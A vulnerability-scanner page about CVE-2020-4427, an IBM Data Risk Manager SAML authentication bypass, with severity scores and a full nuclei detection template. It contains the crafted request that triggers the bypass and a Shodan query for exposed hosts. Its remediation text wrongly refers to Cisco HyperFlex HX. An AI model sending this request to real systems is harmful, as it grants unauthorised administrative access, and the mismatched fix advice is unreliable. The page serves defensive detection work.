IBM Data Risk Manager - Authentication Bypass via SAML

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

70%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

IBM Data Risk Manager versions 2.0.1 through 2.0.6 are vulnerable to authentication bypass when configured with SAML authentication. A remote attacker can bypass security restrictions by sending a specially crafted HTTP request to the SAML idpSelection endpoint, allowing them to bypass the authentication process and gain full administrative access to the system.

Impact

Unauthenticated attackers can bypass authentication via SAML endpoint and gain full administrative access to IBM Data Risk Manager, compromising all managed data risk information.

Fix

Apply the latest security updates and patches provided by Cisco for HyperFlex HX.

How to confirm it

Send: GET {{BaseURL}}/albatross/saml/idpSelection?id={{randstr}}&userName=admin
Positive when: contains in location "localhost:8765" and "saml/idpSelection" AND status 302

Run it with nuclei: nuclei -id CVE-2020-4427 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-4427

info:
  name: IBM Data Risk Manager - Authentication Bypass via SAML
  author: ritikchaddha
  severity: critical
  description: |
    IBM Data Risk Manager versions 2.0.1 through 2.0.6 are vulnerable to authentication bypass when configured with SAML authentication. A remote attacker can bypass security restrictions by sending a specially crafted HTTP request to the SAML idpSelection endpoint, allowing them to bypass the authentication process and gain full administrative access to the system.
  impact: |
    Unauthenticated attackers can bypass authentication via SAML endpoint and gain full administrative access to IBM Data Risk Manager, compromising all managed data risk information.
  remediation: |
    Apply the latest security updates and patches provided by Cisco for HyperFlex HX.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/ibm_drm_rce.rb
    - https://seclists.org/fulldisclosure/2020/Apr/33
    - https://www.ibm.com/support/pages/node/6206875
    - https://nvd.nist.gov/vuln/detail/CVE-2020-4427
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-4427
    cwe-id: CWE-287
    epss-score: 0.70031
    epss-percentile: 0.99382
    cpe: cpe:2.3:a:ibm:data_risk_manager:*:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 1
    vendor: ibm
    product: data_risk_manager
    shodan-query: title:"IBM Data Risk Manager"
  tags: cve,cve2020,ibm,saml,auth-bypass,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/albatross/saml/idpSelection?id={{randstr}}&userName=admin"

    matchers-condition: and
    matchers:
      - type: word
        part: location
        words:
          - "localhost:8765"
          - "saml/idpSelection"
        condition: and

      - type: status
        status:
          - 302

    extractors:
      - type: kval
        part: header
        kval:
          - location

References

Use this check only on systems you are authorised to test. Where the data comes from